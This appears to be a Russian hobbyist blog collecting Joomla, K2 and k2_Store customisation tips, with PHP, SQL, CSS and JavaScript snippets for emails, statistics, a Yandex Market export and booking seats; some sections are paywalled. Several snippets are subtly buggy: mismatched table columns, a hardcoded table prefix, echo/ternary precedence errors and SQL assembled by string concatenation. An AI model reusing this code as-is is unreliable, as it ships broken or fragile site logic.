Как их можно найти:

1.Обязательно проверьте все файлы на наличие этой функции base64_decode

Если параметр в функцию передается строкой, длина которой больше 10 символов, скорее всего там либо копирайт, либо спрятана реклама

2.Если не нашли ничего подозрительного, то можно посмотреть на страницу через сайт переводчик, в этом случае отоброзиться все скрытые ссылки.

Можно воспользоваться сайтом проверки ошибок яндекса https://webmaster.yandex.ru/spellcheck.xml

 

Столкнулся с проблемой вывода рузультата поиска,при использовании модуля WidgetKit - модуль отображается в результате.

Для исправления необходимо парсить результат - удалить модуль из поиска.

Для этого необходимо редактировать файл

components/com_search/views/search/tmpl/default_results.php

В примере убираем все, кроме текста:

<?php
defined('_JEXEC') or die;?>
<dl class="search-results<?php echo $this->pageclass_sfx; ?>">
<?php foreach ($this->results as $result) : ?>
<dt class="result-title">
<?php echo $this->pagination->limitstart + $result->count . '. ';?>
<?php if ($result->href) :?>
<a href="/<?php echo JRoute::_($result->href); ?>"<?php if ($result->browsernav == 1) :?> target="_blank"<?php endif;?>>
<?php echo $this->escape($result->title);?>
</a>
<?php else:?>
<?php echo $this->escape($result->title);?>
<?php endif; ?>
</dt>
<?php if ($result->section) : ?>
<dd class="result-category">
<span class="small<?php echo $this->pageclass_sfx; ?>">
(<?php echo $this->escape($result->section); ?>)
</span>
</dd>
<?php endif; ?>
<dd class="result-text">
<?php echo strip_tags($result->text); ?>
</dd>
<?php if ($this->params->get('show_date')) : ?>
<dd class="result-created<?php echo $this->pageclass_sfx; ?>">
<?php echo JText::sprintf('JGLOBAL_CREATED_DATE_ON', $result->created); ?>
</dd>
<?php endif; ?>
<?php endforeach; ?>
</dl><div class="pagination">
<?php echo $this->pagination->getPagesLinks(); ?>
</div>

Компонент k2_Store в стандартной комплектации, при изменении статуса заказа, отправляет один и тот же шаблон покупателю(полный текст заказа- товар, оплата, контакты и тд.)

Появилась необходимость отправлять покупателю письмо с информацией о смене статуса заказа, без подробного отчета о покупке.

Для корректировки этого процесса необходимо внести изменения в файл

/components/com_k2store/helpers/orders.php

Необходимо продублировать функцию "public static function sendUserEmail", но с новыми параметрами, назавем ее "sendUserEmailNotyfy"

public static function sendUserEmailNotyfy($user_id, $order_id, $payment_status, $order_status, $order_state_id)
{
$mainframe =JFactory::getApplication();
jimport('joomla.filesystem.file');
// grab config settings for sender name and email
$config = JFactory::getConfig();
$k2store_params = JComponentHelper::getParams('com_k2store');
$k2params = JComponentHelper::getParams('com_k2');
if(version_compare(JVERSION, '3.0', 'ge')) {
$mailfrom = $k2store_params->get('emails_defaultemail', $config->get('mailfrom'));
$fromname = $k2store_params->get('emails_defaultname', $config->get('fromname'));
} else {
$mailfrom = $k2store_params->get('emails_defaultname', $config->getValue('config.mailfrom'));
$fromname = $k2store_params->get('emails_defaultname', $config->getValue('config.fromname'));
}
$sitename = $k2store_params->get( 'sitename', $mainframe->getCfg('sitename') );
$siteurl = $k2store_params->get( 'siteurl', JURI::root() );
//now get the order table's id based on order id
$id = self::_getOrderKey($order_id);
//inventory
//TODO::move this function to the plugin.
require_once (JPATH_ADMINISTRATOR.'/components/com_k2store/library/inventory.php');
K2StoreInventory::setInventory($id, $order_state_id);
//now get the receipient
$recipient = self::_getRecipient($order_id);
if($user_id && empty($recipient->billing_first_name)) {
$recipient->name = JFactory::getUser($user_id)->name;
} else {
$recipient->name = $recipient->billing_first_name.' '.$recipient->billing_last_name;
}
$mailer =JFactory::getMailer();
$mode = 1;
$subject = 'Статус вашего заказа был изменен на : '.JText::_($order_status);
$tags = array(
'[ORDER_ID]' => $id
);
foreach ($tags as $key => $value)
{
$subject = str_replace($key, $id, $subject);
}
$msg = '';
$msg .= 'Тело письма в формате HTML, формат можно взять из файла components/com_k2store_view/order/orderemail.php';
$admin_emails = trim($k2store_params->get('admin_email')) ;
$admin_emails = explode(',',$admin_emails ) ;
//send email
if ($recipient)
{
$mailer->addRecipient($recipient->user_email);
// $mailer->addCC( $config->get('admin_email'));
//$mailer->addCC( $admin_emails );
$mailer->setSubject( $subject );
$mailer->setBody($msg);
$mailer->IsHTML($mode);
$mailer->setSender(array( $mailfrom, $fromname ));
$mailer->send();
}
//Если не нужно отправлять дубликат администраторам, то удаляем этот пункт
if($admin_emails) {
$mailer =JFactory::getMailer();
$mailer->addRecipient($admin_emails);
$mailer->setSubject( $subject );
$mailer->setBody($msg);
$mailer->IsHTML($mode);
$mailer->setSender(array( $mailfrom, $fromname ));
$mailer->send();
}
return true;
}

 Следующий шаг - меняем вызов шаблона при смене статуса, редактируем файл

/administrator/components/com_k2store/controllers/orders.php

В функции function orderstatesave() меняем строку на: 

if(isset($notify_customer) && $notify_customer == 1) {
require_once(JPATH_SITE.'/components/com_k2store/helpers/orders.php');
K2StoreOrdersHelper::sendUserEmailNotyfy($order->user_id, $order->order_id, $order->transaction_status, $order->order_state, $order->order_state_id);

 

Widgetkit отличный модуль, но иногда не хватает обработки устройства вывода - для монитора необходим один размер, для телефона и планшета другой.

Пока выход только один - доделывать стили.

В данной статье мы изменим галерею со стилем "showcase_box", добавим обработку размера изображения в зависимости от устройства.

Необходимо скачать библиотеку определения мобильных устройств Mobile-Detect

Далее необходимо открыть файл:

 public_html/media/widgetkit/widgets/gallery/styles/showcase_box

Добавить вызов библиотеки :

require_once 'md/Mobile_Detect.php';
$detect = new Mobile_Detect;

И вставить обработчик размера(размер на ваше усмотрение):

<?php 
if ( $detect->isMobile()) { $settings['width']='340';$settings['height']='270';};
if (count($images)) : ?>
<div id="gallery-<?php echo $widget_id; ?>" class="wk-gallery-showcasebox" data-widgetkit="showcase" data-options='<?php echo json_encode($settings); ?>'>

Для изменения письма покупателю, необходимо открыть файл

components/com_k2store/views/orders/tmpl/orderemail.php

В данном файле находится шаблон письма, предлагаю такой вариант - дополнительно указаны: лого, телефон, ссылки на страницы, изменена подпись, более читаема таблица, контактные данные разбиты по типу.

В шапке документа добавляем короткое меню, лого и телефон:

?>
<div style="border-top: 1px dotted black;display: inline-block;line-height: 35px;">
<div style="background-color: #FFCE6E;color: #C0ECFF;">
<span style="margin-left: 30px;"><a style="text-decoration: none;" href="/url">Наш каталог</a></span>
<span style="margin-left: 30px;"><a style="text-decoration: none;" href="/url">Контакты</a></span>
<span style="margin-left: 30px;"><a style="text-decoration: none;" href="/url">Оплата и доставка</a></span>
<span style="margin-left: 30px;"><a style="text-decoration: none;" href="/url">Вопрос-ответ</a></span>
</div>
<div><a href="/url"><img src="http://site/images/logos.png" style="margin-right: 200px;"></a><div style="float:right;color:#FF8811;margin-top: 18px;margin-right: 27px;">Тел:+</div>
<div class="k2store_ordermail_header" style="border-top: 1px dotted black;">
<?php
echo 'Здравствуйте! '.$recipient_name.'<br> Мы благодарим вас за размещение заказа на сайте '.$this->sitename.'</span>';
echo '<br>Ваш заказ принят в обработку. В ближайшее время с Вами свяжется наш менеджер для подтверждения заказа.'; ?>
</div>
<div id="k2store_order_info">

Далее немного доработаем вывод информации -адрес, телефон, почта и тд, в стандартном шаблоне все выводится в одну строку, мы же разабъем на типы

<td valign="top"><strong><?php echo JText::_("K2STORE_BILLING_ADDRESS"); ?> :</strong></td>
echo 'Имя : '.$row->billing_first_name." ".$row->billing_last_name;
echo '<br>Адрес доставки : '.$row->billing_address_1.", ";
//echo '<br>'.$row->billing_city.", ";
//echo '<br>'.$row->billing_zone_name ? $row->billing_zone_name." - " : "";
//echo '<br>'.$row->billing_zip." <br/>";
//echo '<br>'.$row->billing_country_name." <br/> ".JText::_('K2STORE_TELEPHONE').":";
echo '<br>Телефон '.$row->billing_phone_2;
echo '<br>Email : '.$row->user_email;
//echo $row->billing_company ? JText::_('K2STORE_COMPANY_NAME').': '.$row->billing_company."
" : "";
//echo $row->billing_tax_number ? JText::_('K2STORE_TAX_ID').': '.$row->billing_tax_number."
" : "";
echo 'Имя : '.$row->shipping_first_name." ".$row->shipping_last_name." ";
echo '<br>Адрес доставки : '.$row->shipping_address_1.", ";
echo '<br>Адрес доставки : '.$row->shipping_address_2 ? $row->shipping_address_2.", " : " ";
//echo '<br>'.$row->shipping_city.", ";
//echo '<br>'.$row->shipping_zone_name ? $row->shipping_zone_name." - " : "";
//echo '<br>'.$row->shipping_zip." <br/>";
echo '<br>Компания: '.$row->shipping_country_name;
echo '<br>Телефон : '.$row->shipping_phone_1." , ";
echo '<br>Телефон(факс) : '.$row->shipping_phone_2 ? $row->shipping_phone_2.", " : " ";
echo '
'.$row->shipping_company ? JText::_('K2STORE_COMPANY_NAME').': '.$row->shipping_company." " : "";
echo '
'.$row->shipping_tax_number ? JText::_('K2STORE_TAX_ID').': '.$row->shipping_tax_number." " : "";

Немного подтправим типы оплаты, (можно использовать языковые константы):


<strong><?php echo JText::_('K2STORE_ORDER_PAYMENT_TYPE'); ?> :</strong> <?php //echo JText::_($row->orderpayment_type); ?><br>

<?php if ($row->orderpayment_type == 'payment_offline') { ?>
<strong>Оплата наличными курьеру/ Доставка по г. Новосибирску</strong>
<?php echo JText::_($row->transaction_details); ?><br>
<?php } ?>

<?php if ($row->orderpayment_type == 'payment_cash') { ?>
<strong>Оплата наличными курьеру/Доставка в отдаленные районы г. Новосибирска - 200 р.</strong>
<?php echo JText::_($row->transaction_details); ?><br>
<?php } ?>
<?php if ($row->orderpayment_type == 'payment_banktransfer') { ?>
<strong>100 % оплата / Доставка в другой город</strong>
<?php echo JText::_($row->transaction_details); ?><br>
<?php } ?>
<?php if ($row->orderpayment_type == 'Офлайн платёж') { ?>
<strong>Оплата наличными курьеру/ Доставка по г. Новосибирску</strong><?php } ?>

В подвале вставим информацию, что не нужно отвечать на это письмо и выделим заливкой:

</div>
<br>
<div style="background-color: #DEDEDE;">Данное сообщение отправлено автоматически, пожалуйста, не отвечайте на него.</div>
<?php if(!$this->isGuest): //show only if the buyer is not a guest. Because a guest cannot access the stored order information ?>
<div class="k2store_ordermail_footer" style="background-color: #C8E5FF;border-top: 1px dotted black;">
<?php echo JText::sprintf('K2STORE_ORDER_PLACED_FOOTER', '<br>'.$this->siteurl.'index.php?option=com_k2store&view=orders&task=view&id='.$row->id); ?>
</div>
<?php else:?>
<div class="k2store_ordermail_footer" style="background-color: #C8E5FF;border-top: 1px dotted black;">
<?php echo JText::sprintf('K2STORE_ORDER_GUEST_TOKEN', '<br>'.$this->siteurl.'index.php?option=com_k2store&view=orders&task=view', $order->token); ?>
</div>
</div>

 

На странице оформления товара, после размещения товара хочется вывести дополнительную информацию.

Компонент формирует ссылку и отправляет письмо, но покупатель хочет получить все и сразу.

Для редактирования этой страницы откройте файл:

com_k2store/checkout/postpayment.php

Далее добавляем необходимую информацию, например номер заказа и текст о магазине в блоке(Номер заказа будет выводиться, только для зарегистрированного пользователя) <div class="note">:

<div class="note">
<p>Номер Вашего заказа - <?php echo substr($order_link,strpos($order_link,'view/')+5);?></p>
<br>
<p>Спасибо за покупку в интернет-магазине «Pooof.ru».</p>
<br>
<p>Менеджер свяжется с вами в ближайшее время.</p>
<br>
<a href="/<?php echo JRoute::_($order_link); ?>">
<?php echo JText::_( "K2STORE_VIEW_PRINT_INVOICE" ); ?>
</a>
</div>

Иногда базового функционала не достаточно, и для улучшения продаж на сайте добавляют "Покупку за 1 клик" - это скрипт формы обратной связи, у покупателя просят ввести свои данные(почта, телефон) и скрипт отправляет администратору магазина информацию о желании клиента купить товар, далее менеджеры связываются и обсуждают варианты продажи и доставки.

Проблема в Joomla в том, что многие модули используют разные версии jquery и совместить новый функционал иногда не получается.

Для внедрения "покупки за 1 клик" можно использовать скрипт jbOneClick

Подключение скрипта:

1.Необходимо в <HEAD> прописать скрипт и CSS файл:

<script type="text/javascript" src="/buyme/js/jquery.jboneclick.js"></script>
<link rel="stylesheet" type="text/css" href="/buyme/css/jquery.jboneclick.css">

2.На каждой странице(на ваше усмотрение) необходимо выводить функцию обработки нажатия на кнопку,я добавил в самый конец станицы, перед закрывающим тегов </BODY>:

<script type="text/javascript">
jQuery(document).ready(function($){
$('.callme_order_btn').jbOneClick();
});
</script>

3.Добавляем кнопку рядом с кнопкой покупки k2_store, для этого необходимо открыть файл:

 com_k2store/mycart/addtocart.php

Добавляем в конце блока 

<div id='add_to_cart_<?php echo $item->product_id; ?>' class="k2store_add_to_cart">
<input type="hidden" id="k2store_product_id" name="product_id" value="<?php echo $item->product_id; ?>" />
<?php echo JHTML::_( 'form.token' ); ?>
<input type="hidden" name="return" value="<?php echo base64_encode( JUri::getInstance()->toString() ); ?>" />
<input value="<?php echo $cart_text; ?>" type="submit" class="k2store_cart_button btn btn-primary" />
<a id="callme_order_btn_<?php echo $item->id;?>" class="callme_order_btn" data-product="<?php echo $item->title.' URL: '.JURI::base().$item->alias; ?>">Купить в 1 клик</a>
</div>

4.Если необходимо вывести кнопку на другом материале, то вставляем текст из шага 3 в любом месте

Также возможно понадобиться скорректировать css стиль, например зеленая кнопка по рамзеру совпадает со стандартной кнопкой k2_store:

.callme_order_btn{ background: #34DB4E;
background-image: -webkit-linear-gradient(top, #3498db, #2980b9);
background-image: -moz-linear-gradient(top, #3498db, #2980b9);
background-image: -ms-linear-gradient(top, #3498db, #2980b9);
background-image: -o-linear-gradient(top, #3498db, #2980b9);
background-image: linear-gradient(to bottom, #6ADB34, #29B932);
-webkit-border-radius: 5;
-moz-border-radius: 5;
border-radius: 5px;
font-family: Arial;
color: #fff!important;
text-transform: uppercase;
font-size: 14px;
padding: 2px 7px 5px 8px;
text-decoration: none;
display: inline-block;
cursor: pointer;}

5.В k2_store нет автосуммы - после выбора платной опции на товаре не обновляется цена. Этот пункт и вывод выбранной опции можно исправить используя эту функцию:

Доступ к этому контенту разрешен только участникам проекта.
Вы можете получить доступ,купив эту доработку

Для ее реализации необходимо скорректировать файл:

com_k2store/mycart/addtocart_options.php

Перед циклом опроса опций, необходимо добавить блоки, для запоминания базовой цены и значения атрибуту кнопки:

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );
$options = $this->attributes;
$db = JFactory::getDbo();
?>
<?php if ($options) { ?>
<div class="options" style="margin-bottom: 15px;">
<div id="data_product_<?php echo $this->item->id;?>" style="display:none"></div>
<div id="data_product_price_<?php echo $this->item->id;?>" style="display:none"></div>
<?php foreach ($options as $option) { ?>

Далее всем необходимым элементам добавить вызов функии, мне понадобился только <select>:

<!-- select -->
<div id="option-<?php echo $option['product_option_id']; ?>" class="option">
<p><?php echo $option['option_name']; ?>:</p>
<?php if ($option['required']) { ?>
<span class="required">*</span>
<?php } ?>
<select id="product_option[<?php echo $option['product_option_id']; ?>]" name="product_option[<?php echo $option['product_option_id']; ?>]" onchange="set_to_click('<?php echo $this->item->id;?>','<?php echo $option['option_name']; ?>',<?php echo $option['product_option_id']; ?>,this.selectedIndex)">

Протестировано на сайтах с компонентами:

  • Joomla 3.4
  • K2 v 2.6.9
  • k2_Store v 1.8.3
  • Widgetkit v 1.5
  • Perfect AJAX Popup Contact v 3.2.8
  • Шаблон но основе фреймворка Warp 7.3.14

Вы можете самостоятельно разместить QR код в любом месте, для этого можно воспользоваьтся сервисом http://www.bosqweb.net, в текст достаточно вставить этот тег:

<img style="float:right;height:120px;" src="http://www.bosqweb.net/qr/qr.php?url=URL&amp;BACK_COLOR=255,255,255&amp;BAR_COLOR=0,0,0" alt="QR Code">

Где URL - ссылка, которая будет добавлена в QR код.

Добавление QR кода в K2_Store - вам необходимо отредактировать файл:

public_html/templates/имя шаблона/html/com_k2store/mycart/addtocart.php

Добавить тег img, заменить:

<div id="k2store-product-<?php echo $item->product_id; ?>" class="k2store k2store-product-info">

На

<div id="k2store-product-<?php echo $item->product_id; ?>" class="k2store k2store-product-info">
<?php
$view= JRequest::getCmd('view');
$layout= JRequest::getCmd('layout');
$ids= JRequest::getInt('id');
if($view=='item' && $layout=='item' && $ids >0){
echo '<img style="float:right;height:120px;" src="http://www.bosqweb.net/qr/qr.php?url='.JURI::current().'&amp;BACK_COLOR=255,255,255&amp;BAR_COLOR=0,0,0" alt="QR Code">';
}
?>

 Данный код позволит выводить QR ссылку только в описании материала(товара), в списке материалов ссылки не будет.

Цель данной модификации - сделать точный рейтинг материалов, по месяцам,датам и даже времени.

Стандартная функция подсчета кликов ведет только кол-во кликов за все время, но в одном из проектов нам понадобилась статистика просмотров в разрезе месяца.

Что нам понадобится:

1.Создаем таблицу #__k2_hits:

CREATE TABLE `#__k2_hits` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`k2_id` varchar(100) COLLATE utf8_unicode_ci NOT NULL,
`insert_date` datetime COLLATE utf8_unicode_ci NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=12 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

2.Добавляем функцию, которая сохранит данные просмотра. Редактируем файл:

/public_html/components/com_k2/models/item.php

Дорабатываем функцию hit:

function hit($id)
{$row = JTable::getInstance('K2Item', 'Table');
$row->hit($id);
$db = JFactory::getDBO();
$query = "insert into #__k2_hits(k2_id,insert_date,type) values(".$id.",'".date("Y-m-d H:i:s")."','items');";
$db->setQuery($query);
$db->query();
}

3.Добавляем функцию обнуления рейтинга:

/public_html/administrator/components/com_k2/models/item.php

Обновляем функцию resetHits на :

function resetHits()
{
$mainframe = JFactory::getApplication();
$id = JRequest::getInt('id');
$db = JFactory::getDBO();
$query = "UPDATE #__k2_items SET hits=0 WHERE id={$id}";
$db->setQuery($query);
$db->query();
$query = "delete from #__k2_hits where k2_id={$id};";
$db->setQuery($query);
$db->query();
if ($mainframe->isAdmin())
$url = 'index.php?option=com_k2&view=item&cid='.$id;
else
$url = 'index.php?option=com_k2&view=item&task=edit&cid='.$id.'&tmpl=component';
$mainframe->enqueueMessage(JText::_('K2_SUCCESSFULLY_RESET_ITEM_HITS'));
$mainframe->redirect($url);
}

4. Выводим статистику в административной части

 Самый простой способ - вывести построчно SQL запрос на одной из страниц:

$db = JFactory::getDbo();?>
<h1 id="stat_header">Самый популярный товар топ 20 </h1>
<table class="table table-striped" id="table_stat_long">
<tbody>
<tr id="table_header">
<td>Товар</td>
<td>Просмотры</td>
<td>% всего</td>
<td>Продаж</td>
</tr>
<?php
$db->setQuery('select k2h.k2_id,k2i.title,count(k2h.k2_id) as k2hits,count(k2h.k2_id)*100/((select count(*) from Yoo_k2_hits)) as total_proc,(select count(*) from #__k2store_orderitems where product_id=k2h.k2_id) as orders from #__k2_hits k2h,#__k2_items k2i where k2i.id=k2h.k2_id GROUP BY k2h.k2_id order by k2hits desc limit 20');
$res_item = $db->loadObjectList();
foreach ( $res_item as $row ) {
echo '<tr><td id="table_title">'.$row->title.'</td><td>'.$row->k2hits.'</td><td>'.$row->total_proc.'</td><td>'.$row->orders.'</td></tr>';
}?>
</tbody>
</table>

По данному вопросу, вы также можете почитать статью о нашем компоненте Статистика К2 

Для автоматизации выгрузки можно использовать PHP скрипт.

Нам необходимо подготовить таблицу - добавить 3 поля (yan_model,yan_vendor,yan_typePrefix) в таблицу #_k2_items, кроме того необходимо настроить редактирование из административной части k2, как это сделать написано в статье (на примере поля "relateditems"): Дорабатываем K2 (2.6.9) - управляемые рекомендации Related Items

От себя:

  • 1.Скрипт сделан на скорую руку, не претендует на окончательное решение, возможно будет выпущен плагин для joomla 3x
  • 2.Значение производителя, префикса и модели сделано через отдельную колонку, т.к. колонка с названием товара не подходит, реализация через extrafields слишком сложна(будет реализовано в плагине для joomla) для внешнего скрипта
  • 3.Категории магазина не совпадают с яндексом, также в магазине не храниться информация о производителе, поэтому эти данные вынесены в отдельные колонки - это позволяет более гибко работать с названием товара
  • 4.Скрипт опробован на действующем магазине, экспорт в яндекс маркет происходит без ошибок
  • 5.Реализована проверка на экспорт - если не заполнена одна из колонок (yan_model,yan_vendor,yan_typePrefix), товар не попадет в файл YML  и не будет выгружен на маркет
  • 6.Описание товара для маркета берется из поля "fulltext" таблицы #_k2_items, можно отключить переменной $show_desc
  • 7.Скрипт представлен не полностью, только демонстроционная часть

Скрипт:

<?php
/*Вывод ошибок - блок нужен для отладки*/
//ini_set('error_reporting', E_ALL);
//ini_set('display_errors', 1);
//ini_set('display_startup_errors', 1); //ссылка на файл конфигурации
include_once ("configuration.php");
$datas = new JConfig;
$hostname = $datas->host;
$username = $datas->user;
$password = $datas->password;
$dbName = $datas->db;
$mysite = $datas->sitename; // Ваш сайт
$filename = 'yandex.xml'; // размещение xml файла
$db_pref ='Jos_'; //префикс таблиц
$mag_name ='Название магазина'; //Название магазина
$comp_name ='Название фирмы'; //Название компании
$show_desc = 1;// [0-нет 1-да] выводить описание товаров
$loc_del = '150'; //стоимость доставки
$menu_url = 1;//[0-формат index.php?option=com_k2&view=item&layout=item&id= 1-alias из таблицы #_menu]способ формирование url

$category = $db_pref."k2_categories";//таблица категорий
$itemtable = $db_pref."k2_items"; //таблица товаров
$pricetable = $db_pref."k2store_products";//таблица с ценами
$product_menu_xref = $db_pref."menu";//ссылка на меню, используется для извлечения alias mysql_connect($hostname,$username,$password) OR DIE("Не могу соединиться базой данных Mysql");
mysql_select_db($dbName) or die(mysql_error());
$xmlfile = fopen($filename,'w+'); $xmltext = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n";
$xmltext .= "<!DOCTYPE yml_catalog SYSTEM \"shops.dtd\">\n";
$xmltext .= "<yml_catalog date=\"";
$xmltext .= date('Y-m-d H:i');
$xmltext .= "\">\n";
$xmltext .= "<shop>\n";
$xmltext .= "<name>$mag_name</name>\n";
$xmltext .= "<company>$comp_name</company>\n";
$xmltext .= "<url>http://$mysite</url>\n";
$xmltext .= "<currencies>\n";
$xmltext .= "<currency id=\"RUR\" rate=\"1\"/>\n";
$xmltext .= "</currencies>\n"; $xmltext .= "<categories>\n";
try{
Доступ к этому контенту разрешен только участникам проекта.
Вы можете получить доступ,купив эту доработку


} }catch(PDOException $e){
echo ($e->getMessage());
}
$xmltext .= "</categories>\n";
$xmltext .= "<local_delivery_cost>$loc_del</local_delivery_cost>\n";
$xmltext .= "<offers>\n";
try{
//Таблица товаров
$query_item = "SELECT * FROM $itemtable where published = '1' and yan_typePrefix<>'' and yan_vendor<>'' and yan_model<>''";
$res_item = mysql_query($query_item) or die(mysql_error());
$rw=1;
while ($row=mysql_fetch_array($res_item)) {
$product_full_image = "http://$mysite/media/k2/items/cache/".md5("Image".$row['id'])."_XL.jpg";
$product_name = $row['title'];
$product_s_desc = $row['fulltext'];
$product_cat_id = $row['catid'];
$typePrefix = $row['yan_typePrefix'];
$vendor = $row['yan_vendor'];
$model = $row['yan_model'];
$model = htmlspecialchars($model, ENT_QUOTES);
$typePrefix= htmlspecialchars($typePrefix, ENT_QUOTES);
$vendor= htmlspecialchars($vendor, ENT_QUOTES);
$id = $row['id'];
//Вывод в файл
Доступ к этому контенту разрешен только участникам проекта.
Вы можете получить доступ,купив эту доработку

$rw++;
} }catch(PDOException $e){
echo ($e->getMessage());
}
$xmltext .= "</offers>\n";
$xmltext .= "</shop>\n";
$xmltext .= "</yml_catalog>\n";
if(fwrite($xmlfile, $xmltext)){
echo "<pre>File YML <a target='_blank' href='http://$mysite/$filename'>http://$mysite/$filename</a> success</pre>";

}
fclose($xmlfile); ?>

По данному вопросу, вы также можете почитать статью о нашем компоненте экспорт в яндекс маркет YML формат

В данном компоненте есть прайс лист(Catalog-Products), но очень не удобно отслеживать скидку, т.к. поле спец цены никак не выделяется.

В данном примере мы сделаем оформление фона спец цены когда сумма больше 0.

Редактируем файл:

/public_html/administrator/components/com_k2store/views/products/tmpl/default.php

Меняем строку:

<input type="text" class="input-mini" name="product[<?php echo $product->id;?>][special_price]" value="<?php echo $product->special_price;?>" /> </td>

На эту сроку:

<input <?php if ( $product->special_price<>'0.00000'): echo 'style="background-color: aquamarine;"'; endif;?> type="text" class="input-mini" name="product[<?php echo $product->id;?>][special_price]" value="<?php echo $product->special_price;?>" /> </td>

Результат:

В данной статье расскажу, как реализовали запись в класс, через компонент Appointment Book Manager. 

Стандартная реализация позволяет зарегистрировать 1 человека в один отведенный час, после чего выводилась отметка, что данный час занят. Нам требовалось плавающие значение от 3 до 23 человек на один час.

Редактируем административную часть компонента

1.Необходимо добавить поле place_count int(11) в таблицу #_jxtc_appbook_calendars

2.Добавляем новую переменную - кол-во мест, файл

/administrator/components/com_jxtcappbook/tables/calendars.php

После строки:

var $article_id = 0;

Добавляем:

var $article_id = 0;
var $place_count = 0;

3.Редактируем файл формы:

/administrator/components/com_jxtcappbook/views/parent/tmpl/form.php

После кода:

// do field validation
var error = '';
if (form.title.value == "") {
error = error + "<?php echo JText::_('APPBOOK_ERRORCALENDARMUSTHAVEANAME', true); ?>\n";
}

Добавляем код:

// do field validation
var error = '';
if (form.title.value == "") {
error = error + "<?php echo JText::_('APPBOOK_ERRORCALENDARMUSTHAVEANAME', true); ?>\n";
}
var error = '';
if (form.place_count.value == ""){
error = error + "<?php echo 'Не правильно указано кол-во мест'; ?>\n";
}
var error = '';
if (form.place_count.value < 1 ){
error = error + "<?php echo 'Не правильно указано кол-во мест'; ?>\n";
}

 4.Добавляем поле "Кол-во мест", файл:

/administrator/components/com_jxtcappbook/views/parent/tmpl/form_tab1.php

Добавляем в конец файла код:

<div class="control-group">
<div class="control-label">
<span class="hasTip" title="Place Count::Count of place.">
<?php echo 'Кол-во мест'; ?>:
</span>
</div>
<div class="controls">
<input class="inputbox required" type="number" name="place_count" id="place_count" size="60" value="<?php echo $this->row->place_count; ?>" />
</div>
</div>

5.Добавляем заголовки, файл

/administrator/components/com_jxtcappbook/views/parents/tmpl/default.php

Меняем код:

<?php echo JHTML::_('grid.sort', 'Calendar Name', 'p.title', @$this->lists['order_Dir'], @$this->lists['order'] ); ?>

На:

<?php echo JHTML::_('grid.sort', 'Наименование курса', 'p.title', @$this->lists['order_Dir'], @$this->lists['order'] ); ?>
</th>
<th class="title">
<?php echo JHTML::_('grid.sort', 'Кол-во мест', 'p.title', @$this->lists['order_Dir'], @$this->lists['order'] ); ?>
</th>

Далее меняем код:

<td>
<span class="editlinktip hasTip" title="<?php echo JText::_('APPBOOK_EDITCALENDAR');?>::<?php echo $row->title; ?>">
<a href="/<?php echo $link ?>">
<?php echo $row->title; ?></a></span>
</td>

На это:

<td>
<span class="editlinktip hasTip" title="<?php echo JText::_('APPBOOK_EDITCALENDAR');?>::<?php echo $row->title; ?>">
<a href="/<?php echo $link ?>">
<?php echo $row->title; ?></a></span>
</td>

<td>
<span class="editlinktip hasTip" title="<?php echo $row->place_count;?>">
<a href="/<?php echo $link ?>">
<?php echo $row->place_count;?>
</a></span>
</td>

Редактируем лицевую часть компонента

1.Дорабатываем заглушку

\components\com_jxtcappbook\templates\default\picker\default.php

Добавляем код после 101 строки,где есть строка:

$fullTimetable[] = $startKey;

Добавляем:

// вычисляем кол-во занятых мест
$query = 'SELECT *,dayofmonth(date) as day FROM #__jxtc_appbook_appointments WHERE published=1 AND parent_id=' . $this->calendar_id . ' AND year(date) = ' . $this->y . ' AND month(date) = ' . $this->m . ' and start="'.$startKey.'" ORDER BY date, start';
$db->setQuery($query);
$appointments = $db->loadObjectList();
$app_count = $db->getAffectedRows ();

Далее меняем блок "заглушку" на 106 строке:

if ($this->d < $this->today_d && $this->y <= $this->today_y && $this->m <= $this->today_m) {
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeBusy">' . JText::_('NOTAVAILABLE') . '</td>';
} elseif (isset($timetable[$this->d][$startKey])) {
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeBusy">' . JText::_('OCCUPIED') . '</td>';
} elseif (!$isWorkDay) {
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeBusy">' . JText::_('NOTAVAILABLE') . '</td>';
} else {
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeFree" ><input type="radio" name="appointment" value="' . $startKey . '" onclick="changeTimes(\'' . $calendar->min_duration . '\',\'' . $startKey . '\',\'' . $endKey . '\')"/></td>';
}

Меняем на:

if ($this->d < $this->today_d && $this->y <= $this->today_y && $this->m <= $this->today_m) 
{
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeBusy">' . JText::_('NOTAVAILABLE') . '</td>';
} elseif (isset($timetable[$this->d][$startKey]))
//закончилось кол-во мест
{
if ($app_count<$total_place_count)
{
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeFree" ><input type="radio" name="appointment" value="' . $startKey . '" onclick="changeTimes(\'' . $calendar->min_duration . '\',\'' . $startKey . '\',\'' . $endKey . '\')"/><p>'.$app_count.'/'.$total_place_count.'</p></td>';
}
if ($app_count>=$total_place_count)
{
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeBusy">' . JText::_('OCCUPIED') . '</td>';
}
}
//нет курсов
elseif (!$isWorkDay) {
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeBusy">' . JText::_('NOTAVAILABLE') . '</td>';
} else {
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeFree" ><input type="radio" name="appointment" value="' . $startKey . '" onclick="changeTimes(\'' . $calendar->min_duration . '\',\'' . $startKey . '\',\'' . $endKey . '\')"/><p>'.$app_count.'/'.$total_place_count.'</p></td>';
}

 2.Редактируем имя календаря, открываем файл:

components/com_jxtc_appbook_j30/site/templates/default/calendars/default.php

Меняем код:

echo '<div id="appbook">';
foreach ($this->rows as $row) {
switch ($this->config->formMode) {
case 's':
$bookingURL = '<a href="'.JRoute::_('index.php?option=com_jxtcappbook&view=book&pid='.$row->id).'" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.'</a>';
break;
case 'n':
$bookingURL = '<a target ="_blank" href="'.JRoute::_('index.php?option=com_jxtcappbook&view=book&pop=1&tmpl=component&pid='.$row->id).'" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.'</a>';
